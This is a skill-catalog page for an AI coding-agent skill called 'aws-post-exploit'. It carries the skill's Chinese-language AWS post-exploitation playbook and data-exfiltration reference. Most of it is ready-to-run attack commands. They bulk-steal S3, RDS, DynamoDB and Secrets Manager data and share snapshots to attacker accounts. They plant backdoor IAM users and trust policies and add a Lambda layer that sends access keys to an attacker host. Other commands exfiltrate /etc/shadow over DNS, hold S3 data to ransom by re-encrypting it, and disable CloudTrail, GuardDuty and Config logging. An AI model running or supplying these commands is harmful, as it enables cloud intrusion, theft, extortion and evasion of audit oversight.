
Aws Post Exploit
- 23 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
aws-post-exploit is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- aws-post-exploit
- AI & Agent Building
- AI-coding skill
Aws Post Exploit by the numbers
- 23 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #9,994 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill aws-post-exploitAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 23 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
AWS 后渗透与持久化方法论
在 AWS 环境中完成提权后,攻击进入后渗透阶段。与传统渗透测试不同,云环境的后渗透面临独特挑战:数据分散在数十个托管服务中(S3/RDS/DynamoDB/SecretsManager 等),横向移动以跨账户角色链为主而非网络层跳板,持久化后门可以是一个 IAM 密钥、一条 EventBridge 规则或一个 Lambda Layer——所有操作都在 CloudTrail 的监控之下。
核心思路:云后渗透是 "API 驱动" 的——每一步操作都是 API 调用,都会留下日志。因此攻击者必须在 "获取价值" 和 "控制噪声" 之间取得平衡。本技能按 4 个阶段组织:数据发现与窃取 → 横向移动 → 持久化 → 痕迹清理。
深入参考
识别到具体后渗透场景后,加载对应参考文档获取完整技术细节:
- 各服务数据窃取命令与技巧(S3/EBS/RDS/DynamoDB/Lambda/Secrets 等) → 读 references/data-exfiltration.md
- 持久化后门技术全集(IAM/Lambda/EC2/EventBridge/SNS/CloudTrail 规避等) → 读 references/persistence-backdoor.md
Phase 1: 数据发现与窃取
获取高权限后,首要目标是发现并窃取高价值数据。按以下决策树选择目标服务:
数据在哪里?
├─ 对象存储
│ ├─ S3 Bucket → 批量下载 / 设为公开 / 跨账户复制
│ └─ Glacier/Deep Archive → RestoreObject 恢复后下载
│
├─ 数据库
│ ├─ RDS → 快照导出到 S3 / 重置密码直连 / 只读副本
│ ├─ DynamoDB → Scan 全表 / 导出到 S3 / Stream 实时捕获
│ ├─ Redshift → 跨账户快照共享 / Zero-ETL 复制
│ └─ ElastiCache → 快照导出 / 连接直读
│
├─ 块存储 / 磁盘
│ ├─ EBS 快照 → 跨账户共享快照 / 直接读取块级数据
│ ├─ EBS Multi-Attach → 只读挂载到攻击者实例
│ └─ AMI → CreateStoreImageTask 导出到 S3
│
├─ 凭据 / 密钥
│ ├─ SecretsManager → BatchGetSecretValue 批量提取
│ ├─ SSM Parameter Store → GetParametersByPath 递归获取
│ └─ Lambda 环境变量 → GetFunction 提取运行时凭据
│
├─ 日志 / 监控
│ ├─ CloudWatch Logs → FilterLogEvents 搜索敏感信息
│ └─ RDS 日志 → DownloadDBLogFilePortion 导出 SQL 日志
│
└─ 代码 / 配置
├─ CodeCommit → 克隆代码仓库
├─ Lambda 代码 → GetFunction 下载部署包
└─ S3 中的 Terraform State → 明文凭据和资源信息高价值数据源速查
| 数据源 | 关键 API / 命令 | 价值 |
|---|---|---|
| S3 Bucket | aws s3 sync s3://bucket ./loot/ | 备份、日志、配置、凭据 |
| EBS 快照 | aws ec2 create-snapshot → 跨账户共享 | 完整文件系统 |
| RDS 快照 | aws rds create-db-snapshot → 公开/跨账户 | 生产数据库 |
| DynamoDB | aws dynamodb scan --table-name X | 业务数据 |
| SecretsManager | aws secretsmanager batch-get-secret-value | 数据库密码、API Key |
| SSM Parameters | aws ssm get-parameters-by-path --path / --recursive | 配置、凭据 |
| Lambda 环境变量 | aws lambda get-function --function-name X | 运行时凭据 |
| CloudWatch Logs | aws logs filter-log-events --filter-pattern "password" | 应用泄露的敏感信息 |
快速数据发现命令
# 1. 枚举所有 S3 Bucket
aws s3 ls
# 检查 Bucket 策略和 ACL
aws s3api get-bucket-policy --bucket <name>
aws s3api get-bucket-acl --bucket <name>
# 2. 搜索 S3 中的敏感文件
aws s3 ls s3://<bucket>/ --recursive | grep -iE '\.env|credential|secret|\.pem|\.key|backup|\.sql'
# 3. 批量提取 Secrets
aws secretsmanager list-secrets --query 'SecretList[].Name'
aws secretsmanager batch-get-secret-value \
--secret-id-list <secret1> <secret2> \
--query 'SecretValues[].{Name:Name,Val:SecretString}'
# 4. 递归获取 SSM 参数
aws ssm get-parameters-by-path --path "/" --recursive --with-decryption \
--query 'Parameters[].{Name:Name,Value:Value}'
# 5. 提取 Lambda 环境变量(含临时凭据)
for fn in $(aws lambda list-functions --query 'Functions[].FunctionName' --output text); do
echo "=== $fn ==="
aws lambda get-function-configuration --function-name "$fn" \
--query 'Environment.Variables'
done→ 读 references/data-exfiltration.md
Phase 2: 横向移动
AWS 横向移动发生在三个维度:跨账户、跨区域、跨服务。
横向移动路径
├─ 跨账户移动
│ ├─ OrganizationAccountAccessRole(管理账户 → 成员账户)
│ │ └─ aws sts assume-role --role-arn arn:aws:iam::<member>:role/OrganizationAccountAccessRole
│ ├─ 跨账户信任角色(宽松 Principal)
│ │ └─ 枚举所有角色信任策略 → 发现 Principal: * 或外部账户
│ └─ 跨账户资源策略(S3/KMS/SNS/SQS)
│ └─ 检查资源策略中的 Allow 跨账户操作
│
├─ 跨区域移动
│ ├─ RDS 跨区域自动备份复制 → 在冷门区域恢复数据库
│ ├─ DynamoDB Global Table → 添加新区域副本
│ ├─ EBS 快照跨区域复制 → 在目标区域创建实例
│ └─ S3 跨区域复制规则
│
└─ 跨服务 / 网络移动
├─ SSM → EC2(SendCommand / StartSession)
├─ EC2 Instance Connect Endpoint → 私有实例 SSH
├─ ECS Agent 冒充 → 窃取同宿主机所有任务角色
├─ VPC Peering / VPN → 直连被害 VPC
└─ VPC 流量镜像 → 被动嗅探网络流量跨账户 AssumeRole 枚举
# 枚举当前账户所有角色的信任策略
for role in $(aws iam list-roles --query 'Roles[].RoleName' --output text); do
trust=$(aws iam get-role --role-name "$role" \
--query 'Role.AssumeRolePolicyDocument' --output json 2>/dev/null)
# 检查是否允许外部账户或 *
echo "$trust" | grep -qE '"AWS":\s*"\*"|:iam::[0-9]{12}:' && \
echo "[!] $role: $trust"
done
# Organizations:从管理账户枚举所有成员账户
aws organizations list-accounts --query 'Accounts[].{Id:Id,Name:Name,Status:Status}'
# 尝试切换到成员账户的默认管理角色
aws sts assume-role \
--role-arn "arn:aws:iam::<member_account_id>:role/OrganizationAccountAccessRole" \
--role-session-name lateralEC2 Instance Connect 横向
# 创建 EC2 Instance Connect Endpoint(用于访问私有子网实例)
aws ec2 create-instance-connect-endpoint \
--subnet-id <private-subnet-id> \
--security-group-ids <sg-id>
# 注入临时 SSH 公钥并连接
aws ec2-instance-connect send-ssh-public-key \
--instance-id <i-xxx> \
--instance-os-user ec2-user \
--ssh-public-key file://~/.ssh/id_rsa.pub
ssh -o ProxyCommand='aws ec2-instance-connect open-tunnel \
--instance-id %h' ec2-user@<i-xxx>SSM 横向移动
# 列出所有受 SSM 管理的实例
aws ssm describe-instance-information \
--query 'InstanceInformationList[].{Id:InstanceId,Platform:PlatformType,Role:IamRole}'
# 在目标实例上执行命令
aws ssm send-command \
--instance-ids <i-xxx> \
--document-name "AWS-RunShellScript" \
--parameters 'commands=["curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ && whoami"]'
# 端口转发(SSM 隧道)
aws ssm start-session --target <i-xxx> \
--document-name AWS-StartPortForwardingSession \
--parameters '{"portNumber":["3306"],"localPortNumber":["3306"]}'Phase 3: 持久化
持久化的核心目标:即使凭据被轮换或初始入口被修复,仍能保持对 AWS 环境的访问。
持久化技术决策表
| 技术 | 隐蔽性 | 持久性 | 前置权限 | 检测难度 |
|---|---|---|---|---|
| IAM 后门用户 + Access Key | 低 | 永久(直到删除) | iam:CreateUser + iam:CreateAccessKey | 低(IAM 审计易发现) |
| IAM 角色信任策略后门 | 中 | 永久 | iam:UpdateAssumeRolePolicy | 中(需审计信任策略) |
| IAM 策略版本后门 | 高 | 永久 | iam:CreatePolicyVersion | 高(历史版本不常检查) |
| STS Role Chain Juggling | 高 | 临时凭据自动续期 | sts:AssumeRole(循环角色链) | 高(利用正常特性) |
| Lambda Layer/Extension 后门 | 高 | 直到 Layer 被移除 | lambda:PublishLayerVersion + lambda:UpdateFunctionConfiguration | 高(代码审计才能发现) |
| Lambda 别名权重分流 | 高 | 直到别名被修改 | lambda:CreateAlias / lambda:UpdateAlias | 很高(1%流量几乎不可见) |
| Lambda 异步自循环 | 高 | 持续(自动重触发) | lambda:UpdateFunctionConfiguration(destination) | 高 |
| EC2 UserData 后门 | 中 | 直到实例替换 | ec2:ModifyInstanceAttribute | 中(检查 UserData 内容) |
| EC2 AMI 后门 | 高 | 后续实例继承 | ec2:CreateImage | 高(AMI 内容不常审计) |
| EventBridge 定时规则 | 中 | 持续(定时触发) | events:PutRule + events:PutTargets | 中(规则可被枚举) |
| SNS 订阅窃取 | 高 | 持续 | sns:Subscribe | 高(订阅不常检查) |
| SSM Association 定时 | 中 | 持续(定时执行) | ssm:CreateAssociation | 中 |
| CloudTrail 关闭 | - | 掩护其他操作 | cloudtrail:StopLogging | 低(GuardDuty 立即告警) |
| GuardDuty 规避 | 高 | 掩护其他操作 | guardduty:* | 视方法而定 |
IAM 持久化快速操作
# 1. 创建后门用户
aws iam create-user --user-name svc-backup-agent
aws iam attach-user-policy --user-name svc-backup-agent \
--policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
aws iam create-access-key --user-name svc-backup-agent
# 2. 后门角色信任策略(允许外部账户 AssumeRole)
aws iam update-assume-role-policy --role-name AdminRole \
--policy-document '{
"Version":"2012-10-17",
"Statement":[{
"Effect":"Allow",
"Principal":{"AWS":["arn:aws:iam::<attacker_account>:root"]},
"Action":"sts:AssumeRole"
}]
}'
# 3. 策略版本后门(在非默认版本中隐藏 Admin 权限)
aws iam create-policy-version --policy-arn <policy_arn> \
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
--no-set-as-default
# 后续需要时切换为默认版本
aws iam set-default-policy-version --policy-arn <policy_arn> --version-id v2Lambda 持久化(5 种方法)
# 方法 1: Lambda Layer 注入后门代码
# 创建包含恶意初始化代码的 Layer
mkdir -p /tmp/layer/python && cat > /tmp/layer/python/backdoor.py << 'PYEOF'
import os, urllib.request
urllib.request.urlopen(f"https://<attacker>/exfil?key={os.environ.get('AWS_ACCESS_KEY_ID','')}")
PYEOF
cd /tmp/layer && zip -r layer.zip python/
aws lambda publish-layer-version --layer-name monitoring-ext \
--zip-file fileb:///tmp/layer/layer.zip --compatible-runtimes python3.9 python3.10 python3.11
aws lambda update-function-configuration --function-name <target_fn> \
--layers arn:aws:lambda:<region>:<account>:layer:monitoring-ext:1
# 方法 2: Lambda 别名权重分流(1% 流量路由到后门版本)
aws lambda publish-version --function-name <fn> --description "backdoor"
# 假设后门版本号为 2,合法版本为 3
aws lambda update-alias --function-name <fn> --name prod \
--routing-config '{"AdditionalVersionWeights":{"2":0.01}}'
# 方法 3: AWS_LAMBDA_EXEC_WRAPPER 环境变量 + Layer
# 通过 Layer 部署 /opt/bin/wrapper.sh,在 handler 之前执行
aws lambda update-function-configuration --function-name <fn> \
--environment 'Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/wrapper}'
# 方法 4: 异步自循环(Destination 自触发)
aws lambda update-function-configuration --function-name <fn> \
--destination-config '{"OnSuccess":{"Destination":"arn:aws:lambda:<region>:<acct>:function:<fn>"}}'
aws lambda put-function-recursion-config --function-name <fn> \
--recursive-loop Allow
# 方法 5: 资源策略后门(隐藏版本的跨账户 Invoke 权限)
aws lambda add-permission --function-name <fn> --qualifier 1 \
--statement-id backdoor --action lambda:InvokeFunction \
--principal <attacker_account_id>EventBridge 定时持久化
# 创建定时规则,每 6 小时触发恶意 Lambda
aws events put-rule --name "sys-health-check" \
--schedule-expression "rate(6 hours)" \
--state ENABLED
aws events put-targets --rule "sys-health-check" \
--targets '[{"Id":"1","Arn":"arn:aws:lambda:<region>:<acct>:function:<backdoor_fn>"}]'
# 授权 EventBridge 调用 Lambda
aws lambda add-permission --function-name <backdoor_fn> \
--statement-id eventbridge --action lambda:InvokeFunction \
--principal events.amazonaws.com \
--source-arn arn:aws:events:<region>:<acct>:rule/sys-health-check→ 读 references/persistence-backdoor.md
Phase 4: 痕迹清理与检测规避
CloudTrail 规避
CloudTrail 是 AWS 的核心审计系统,所有管理事件都会被记录。攻击者有多种方式削弱它:
# 1. 直接停止日志记录(最粗暴,GuardDuty 会立即告警)
aws cloudtrail stop-logging --name <trail_name>
# 2. 删除 Trail(需先停止)
aws cloudtrail delete-trail --name <trail_name>
# 3. 修改 Trail 的 S3 Bucket(指向攻击者控制的桶或不存在的桶)
aws cloudtrail update-trail --name <trail_name> \
--s3-bucket-name <attacker_bucket_or_nonexistent>
# 4. 通过 S3 Lifecycle 规则自动删除日志文件
aws s3api put-bucket-lifecycle-configuration \
--bucket <cloudtrail_bucket> \
--lifecycle-configuration '{
"Rules":[{
"ID":"cleanup","Status":"Enabled",
"Filter":{"Prefix":"AWSLogs/"},
"Expiration":{"Days":1}
}]
}'
# 5. 禁用 CloudTrail Insights(减少异常检测能力)
aws cloudtrail put-insight-selectors --trail-name <trail> \
--insight-selectors '[]'
# 6. 减少数据事件记录(停止记录 S3/Lambda 数据事件)
aws cloudtrail put-event-selectors --trail-name <trail> \
--event-selectors '[{"ReadWriteType":"WriteOnly","IncludeManagementEvents":true,"DataResources":[]}]'OPSEC 提示:直接停止 CloudTrail 会触发 GuardDuty Stealth:IAMUser/CloudTrailLoggingDisabled 告警。更隐蔽的方式是修改 S3 Lifecycle 规则让日志快速过期,或修改事件选择器减少记录范围。
GuardDuty 规避
| 方法 | 命令 | 风险 |
|---|---|---|
| 删除 Detector | aws guardduty delete-detector --detector-id <id> | 极高(Organization 级别可能阻止) |
| 添加 Trusted IP List | aws guardduty create-ip-set --detector-id <id> --format TXT --location s3://<bucket>/ips.txt --activate | 中(自己的 IP 不再产生告警) |
| 归档 Finding | aws guardduty archive-findings --detector-id <id> --finding-ids <ids> | 中(历史告警消失) |
| 自动归档 Filter | aws guardduty create-filter --detector-id <id> --name suppress --action ARCHIVE --finding-criteria ... | 高(未来告警自动归档) |
| 暂停成员账户 | aws guardduty disassociate-members --detector-id <id> --account-ids <member> | 高(成员账户脱离监控) |
VPC Flow Logs 规避
# 删除 Flow Logs
aws ec2 delete-flow-logs --flow-log-ids <fl-xxx>
# 或将 Flow Logs 指向攻击者控制的 S3 桶
aws ec2 create-flow-logs --resource-type VPC --resource-ids <vpc-id> \
--traffic-type ALL --log-destination-type s3 \
--log-destination arn:aws:s3:::<attacker_bucket>AWS Config 规避
# 停止 Config Recorder(停止配置变更追踪)
aws configservice stop-configuration-recorder --configuration-recorder-name default
# 删除 Delivery Channel
aws configservice delete-delivery-channel --delivery-channel-name defaultDNS 数据外传(绕过网络隔离)
即使 EC2 实例完全锁定了出站流量,DNS 查询仍然可以外传数据:
# VPC Flow Logs 不记录 DNS 流量
# 通过 DNS TXT 查询外传数据
data=$(cat /etc/shadow | base64 | tr -d '\n')
for chunk in $(echo "$data" | fold -w 60); do
dig "$chunk.exfil.attacker.com" TXT +short
done关闭 DNS 外传:aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>
注意事项
操作安全(OPSEC)关键点
- 高危 CloudTrail 事件:
StopLogging、DeleteTrail、CreateUser、CreateAccessKey、PutBucketPolicy(公开化)、ModifyDBInstance(密码重置)、ModifySnapshotAttribute(共享快照) - GuardDuty 高置信度告警:
Stealth:IAMUser/CloudTrailLoggingDisabled— CloudTrail 被禁用UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS— EC2 角色凭据在外部使用Exfiltration:S3/AnomalousBehavior— S3 异常大量读取Persistence:IAMUser/AnomalousBehavior— IAM 异常操作- 速率控制:AWS API 有速率限制(通常 5-20 次/秒),大规模枚举时注意节流
- 区域覆盖:资源是区域隔离的。窃取数据时需遍历所有启用区域(
aws ec2 describe-regions)
推荐工具
| 工具 | 用途 | 命令 |
|---|---|---|
| Pacu | AWS 利用框架(枚举/提权/后渗透/持久化) | run post_exploitation__s3_download |
| CloudFox | 攻击路径发现 | cloudfox aws --profile <p> all-checks |
| AWSRoleJuggler | Role Chain Juggling 持久化 | ./aws_role_juggler.py -r role1 role2 |
| Dufflebag | EBS 快照自动搜索凭据 | dufflebag search --region <r> |
| CloudShovel | AMI 中搜索敏感信息 | 自动启动实例扫描 |
| S3Scanner | S3 Bucket 枚举与数据发现 | s3scanner scan --bucket <name> |
交叉引用
- 参考
aws-pentesting技能,获取 AWS 整体攻击流程 - 参考
aws-iam-privesc技能,获取权限提升路径(后渗透前置阶段) - 参考
cloud-aksk-exploit技能,获取 AK/SK 凭据完整利用链
AWS 数据窃取技术详解
本文档覆盖 AWS 各服务的数据窃取(Data Exfiltration)技术细节,包括具体命令、前置权限和 OPSEC 注意事项。
S3 数据窃取
批量下载
# 递归下载整个 Bucket
aws s3 sync s3://<bucket> ./loot/ --quiet
# 只下载敏感文件类型
aws s3 cp s3://<bucket>/ ./loot/ --recursive \
--exclude "*" \
--include "*.env" --include "*.pem" --include "*.key" \
--include "*credential*" --include "*secret*" \
--include "*.sql" --include "*.bak" --include "*.csv" \
--include "terraform.tfstate*"
# 搜索 Terraform State(明文凭据宝库)
aws s3 ls s3://<bucket>/ --recursive | grep tfstate
aws s3 cp s3://<bucket>/terraform.tfstate ./
# tfstate 中搜索凭据
grep -oP '"(password|secret_key|access_key|token)":\s*"[^"]+"' terraform.tfstate设为公开访问
# 修改 Bucket Policy 允许匿名读取
aws s3api put-bucket-policy --bucket <bucket> --policy '{
"Version":"2012-10-17",
"Statement":[{
"Sid":"Public","Effect":"Allow",
"Principal":"*","Action":"s3:GetObject",
"Resource":"arn:aws:s3:::<bucket>/*"
}]
}'
# 或修改 ACL(如果 ACL 未禁用)
aws s3api put-bucket-acl --bucket <bucket> --acl public-read跨账户复制
# 配置跨账户复制规则(需要源桶开启版本控制)
aws s3api put-bucket-versioning --bucket <src_bucket> \
--versioning-configuration Status=Enabled
aws s3api put-bucket-replication --bucket <src_bucket> \
--replication-configuration '{
"Role":"arn:aws:iam::<src_acct>:role/<repl_role>",
"Rules":[{
"Status":"Enabled",
"Destination":{"Bucket":"arn:aws:s3:::<attacker_bucket>"}
}]
}'恢复 Glacier 归档数据
# 恢复归档对象(Standard 恢复需 3-5 小时)
aws s3api restore-object --bucket <bucket> --key <object_key> \
--restore-request '{"Days":7,"GlacierJobParameters":{"Tier":"Standard"}}'
# Expedited 恢复(1-5 分钟,但更贵且更易被发现)
aws s3api restore-object --bucket <bucket> --key <object_key> \
--restore-request '{"Days":1,"GlacierJobParameters":{"Tier":"Expedited"}}'S3 勒索(ransomware)
利用攻击者控制的 KMS 密钥或 SSE-C 密钥对 S3 对象进行重新加密,受害者无法解密:
# SSE-C 加密方式(攻击者提供密钥,AWS 不存储密钥)
ATTACKER_KEY=$(openssl rand -base64 32)
aws s3 cp s3://<bucket>/<key> s3://<bucket>/<key> \
--sse-c AES256 --sse-c-key "$ATTACKER_KEY"
# 受害者无法在不知道密钥的情况下解密
# 配合 Lifecycle 规则删除旧版本
aws s3api put-bucket-lifecycle-configuration --bucket <bucket> \
--lifecycle-configuration '{
"Rules":[{"ID":"expire","Status":"Enabled",
"NoncurrentVersionExpiration":{"NoncurrentDays":1},
"Filter":{"Prefix":""}}]
}'EBS 数据窃取
快照跨账户共享
# 创建目标卷的快照
aws ec2 create-snapshot --volume-id <vol-id> --description "backup"
# 等待快照完成
aws ec2 wait snapshot-completed --snapshot-ids <snap-id>
# 共享给攻击者账户
aws ec2 modify-snapshot-attribute --snapshot-id <snap-id> \
--create-volume-permission "Add=[{UserId=<attacker_account_id>}]"
# 在攻击者账户中:从快照创建卷 → 挂载 → 读取
aws ec2 create-volume --snapshot-id <snap-id> \
--availability-zone <az> --volume-type gp3EBS 直接块级读取(无需创建卷)
# 使用 EBS Direct API 直接读取快照块数据
aws ebs list-snapshot-blocks --snapshot-id <snap-id>
# 下载特定块
aws ebs get-snapshot-block --snapshot-id <snap-id> \
--block-index 0 --block-token <token> /tmp/block0.binEBS Multi-Attach 只读挂载
当目标卷是 io1/io2 类型且已启用 Multi-Attach 时,可以将其同时挂载到攻击者的实例:
# 附加到攻击者实例(只读)
aws ec2 attach-volume --volume-id <vol-id> \
--instance-id <attacker_instance> --device /dev/xvdf
# 在实例内挂载为只读
mount -o ro /dev/xvdf /mnt/lootAMI 导出到 S3
# 将 AMI 导出为原始磁盘镜像到 S3
aws ec2 create-store-image-task --image-id <ami-id> \
--bucket <attacker_s3_bucket>
# 完成后下载 raw 磁盘文件进行离线分析RDS 数据窃取
快照公开/跨账户共享
# 创建快照
aws rds create-db-snapshot --db-instance-identifier <db-id> \
--db-snapshot-identifier exfil-snap
# 等待完成
aws rds wait db-snapshot-available --db-snapshot-identifier exfil-snap
# 公开共享(任何 AWS 账户可访问)
aws rds modify-db-snapshot-attribute --db-snapshot-identifier exfil-snap \
--attribute-name restore --values-to-add all
# 或共享给特定账户
aws rds modify-db-snapshot-attribute --db-snapshot-identifier exfil-snap \
--attribute-name restore --values-to-add <attacker_account_id>重置密码直连
# 直接重置 RDS 主密码
aws rds modify-db-instance --db-instance-identifier <db-id> \
--master-user-password 'NewP@ssw0rd!' --apply-immediately
# 等待生效后连接
aws rds wait db-instance-available --db-instance-identifier <db-id>
ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <db-id> \
--query 'DBInstances[0].Endpoint.Address' --output text)
mysql -h "$ENDPOINT" -u admin -p'NewP@ssw0rd!'注意:重置密码是破坏性操作,会中断依赖原密码的应用程序。
只读副本窃取
创建 Read Replica,重置副本密码(不影响主库),然后从副本读取数据:
# 创建只读副本
aws rds create-db-instance-read-replica \
--db-instance-identifier exfil-replica \
--source-db-instance-identifier <source-db> \
--publicly-accessible
# 重置副本密码(主库不受影响)
aws rds modify-db-instance --db-instance-identifier exfil-replica \
--master-user-password 'ReplicaPwd!' --apply-immediately
# 连接副本读取数据
aws rds wait db-instance-available --db-instance-identifier exfil-replica跨区域自动备份复制
将 RDS 自动备份复制到冷门区域,在该区域恢复数据库,避开防守方的监控盲区:
# 在目标区域启动备份复制
aws rds start-db-instance-automated-backups-replication \
--region <dest_region> \
--source-db-instance-arn <source_db_arn> \
--source-region <source_region> \
--backup-retention-period 7
# 在目标区域恢复
aws rds restore-db-instance-to-point-in-time \
--region <dest_region> \
--source-db-instance-automated-backups-arn <backup_arn> \
--target-db-instance-identifier exfil-restored \
--use-latest-restorable-time \
--publicly-accessibleRDS Data API(绕过网络隔离)
对 Aurora 集群启用 HTTP 端点,通过 HTTPS API 直接执行 SQL,无需 VPC 网络连接:
# 启用 Data API
aws rds modify-db-cluster --db-cluster-identifier <cluster> \
--enable-http-endpoint --apply-immediately
# 创建 SecretsManager 密钥用于认证
SECRET_ARN=$(aws secretsmanager create-secret --name rdsdata/exfil \
--secret-string '{"username":"admin","password":"NewPwd!"}' \
--query ARN --output text)
# 通过 HTTPS 执行 SQL
CLUSTER_ARN=$(aws rds describe-db-clusters --db-cluster-identifier <cluster> \
--query 'DBClusters[0].DBClusterArn' --output text)
aws rds-data execute-statement --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database mysql \
--sql "SELECT * FROM users LIMIT 100;"SQL 日志窃取(无需数据库凭据)
通过修改 DB 参数组启用全量 SQL 日志,然后通过 AWS API 下载日志文件:
# 启用 MySQL 全量日志
aws rds modify-db-parameter-group --db-parameter-group-name <pg> \
--parameters \
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
# 下载日志
aws rds download-db-log-file-portion \
--db-instance-identifier <db> \
--log-file-name general/mysql-general.log \
--starting-token 0 --output text > dump.log
# 搜索敏感数据
grep -Ei "password=|secret|bearer|aws_access_key" dump.logDynamoDB 数据窃取
全表扫描
# 直接扫描(最简单)
aws dynamodb scan --table-name <table> --output json > table_dump.json
# PartiQL 查询
aws dynamodb execute-statement --statement "SELECT * FROM <table>"
# 批量获取(需知主键)
aws dynamodb batch-get-item \
--request-items '{"<table>":{"Keys":[{"id":{"S":"1"}},{"id":{"S":"2"}}]}}'导出到 S3
# 需要 PITR 已启用
aws dynamodb describe-continuous-backups --table-name <table>
# 如果未启用,先启用
aws dynamodb update-continuous-backups --table-name <table> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
# 导出到攻击者 S3
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account>:table/<table> \
--s3-bucket <attacker_bucket> \
--export-format DYNAMODB_JSONDynamoDB Stream 实时捕获
启用 Stream 后,所有数据变更会实时推送,可持续窃取增量数据:
# 启用 Stream
aws dynamodb update-table --table-name <table> \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
# 获取 Stream ARN
STREAM_ARN=$(aws dynamodb describe-table --table-name <table> \
--query 'Table.LatestStreamArn' --output text)
# 读取 Stream 数据
SHARD_ID=$(aws dynamodbstreams describe-stream --stream-arn "$STREAM_ARN" \
--query 'StreamDescription.Shards[0].ShardId' --output text)
ITERATOR=$(aws dynamodbstreams get-shard-iterator --stream-arn "$STREAM_ARN" \
--shard-id "$SHARD_ID" --shard-iterator-type TRIM_HORIZON --query ShardIterator --output text)
aws dynamodbstreams get-records --shard-iterator "$ITERATOR"跨区域 Global Table 复制
# 添加新区域副本(全表数据自动同步)
aws dynamodb update-table --table-name <table> \
--replica-updates '[{"Create":{"RegionName":"<attacker_region>"}}]'
# 在新区域直接读取
aws dynamodb scan --table-name <table> --region <attacker_region>Lambda 数据窃取
环境变量和代码提取
# 获取函数配置(含环境变量,可能包含 AK/SK、数据库密码等)
aws lambda get-function-configuration --function-name <fn> \
--query 'Environment.Variables'
# 下载函数部署包(代码)
aws lambda get-function --function-name <fn> \
--query 'Code.Location' --output text | xargs curl -o function.zip
# 获取 Layer 内容
aws lambda get-layer-version --layer-name <layer> --version-number 1 \
--query 'Content.Location' --output text | xargs curl -o layer.zipEvent Source Mapping 劫持
将 DynamoDB Stream/Kinesis/SQS 的事件源重定向到攻击者 Lambda:
# 列出现有事件源映射
aws lambda list-event-source-mappings --function-name <victim_fn>
# 修改目标为攻击者函数
aws lambda update-event-source-mapping \
--uuid <mapping_uuid> \
--function-name <attacker_fn>EFS 挂载注入
将 EFS 文件系统挂载到攻击者 Lambda 读取共享数据:
aws lambda update-function-configuration --function-name <fn> \
--file-system-configs '[{"Arn":"<efs_access_point_arn>","LocalMountPath":"/mnt/efs"}]'SecretsManager / SSM Parameter Store
批量密钥提取
# SecretsManager:批量获取(每次最多 20 个)
aws secretsmanager list-secrets --query 'SecretList[].Name' --output text
aws secretsmanager batch-get-secret-value \
--secret-id-list $(aws secretsmanager list-secrets \
--query 'SecretList[].ARN' --output text) \
--query 'SecretValues[].{Name:Name,Val:SecretString}'
# SSM Parameter Store:递归获取所有参数(含解密 SecureString)
aws ssm get-parameters-by-path --path "/" --recursive --with-decryption \
--query 'Parameters[].{Name:Name,Type:Type,Value:Value}'EC2 Instance Connect 横向
# 注入临时 SSH 公钥(60 秒有效)
aws ec2-instance-connect send-ssh-public-key \
--instance-id <i-xxx> \
--instance-os-user ec2-user \
--ssh-public-key file://~/.ssh/id_rsa.pub
# 通过 Instance Connect Endpoint 连接私有实例
ssh -o ProxyCommand='aws ec2-instance-connect open-tunnel --instance-id %h' \
ec2-user@<i-xxx>CloudWatch Logs 敏感信息搜索
# 搜索所有日志组中的敏感信息
for lg in $(aws logs describe-log-groups --query 'logGroups[].logGroupName' --output text); do
echo "=== $lg ==="
aws logs filter-log-events --log-group-name "$lg" \
--filter-pattern "?password ?secret ?token ?key ?credential" \
--max-items 10 --query 'events[].message' 2>/dev/null
doneVPC 流量嗅探
VPC 流量镜像
# 创建流量镜像目标(攻击者实例的 ENI)
TARGET_ID=$(aws ec2 create-traffic-mirror-target \
--network-interface-id <attacker_eni> \
--query 'TrafficMirrorTarget.TrafficMirrorTargetId' --output text)
# 创建过滤器(镜像所有流量)
FILTER_ID=$(aws ec2 create-traffic-mirror-filter \
--query 'TrafficMirrorFilter.TrafficMirrorFilterId' --output text)
aws ec2 create-traffic-mirror-filter-rule --traffic-mirror-filter-id "$FILTER_ID" \
--traffic-direction ingress --rule-number 100 --rule-action accept \
--destination-cidr-block 0.0.0.0/0 --source-cidr-block 0.0.0.0/0
# 创建镜像会话(绑定到目标实例的 ENI)
aws ec2 create-traffic-mirror-session \
--network-interface-id <victim_eni> \
--traffic-mirror-target-id "$TARGET_ID" \
--traffic-mirror-filter-id "$FILTER_ID" \
--session-number 1OPSEC 注意事项
| 操作 | CloudTrail 事件 | GuardDuty 告警 | 风险等级 |
|---|---|---|---|
| S3 sync 大量下载 | S3 数据事件(如启用) | Exfiltration:S3/AnomalousBehavior | 高 |
| EBS 快照跨账户共享 | ModifySnapshotAttribute | 无专门告警 | 中 |
| RDS 密码重置 | ModifyDBInstance | 无专门告警 | 高(破坏性) |
| RDS 快照公开 | ModifyDBSnapshotAttribute | 无专门告警 | 中 |
| SecretsManager 批量读取 | 每个密钥一条 GetSecretValue | 无专门告警 | 中 |
| Lambda GetFunction | GetFunction | 无 | 低 |
| DynamoDB Scan | 数据事件(如启用) | 无专门告警 | 低 |
| CloudWatch Logs 查询 | FilterLogEvents | 无 | 低 |
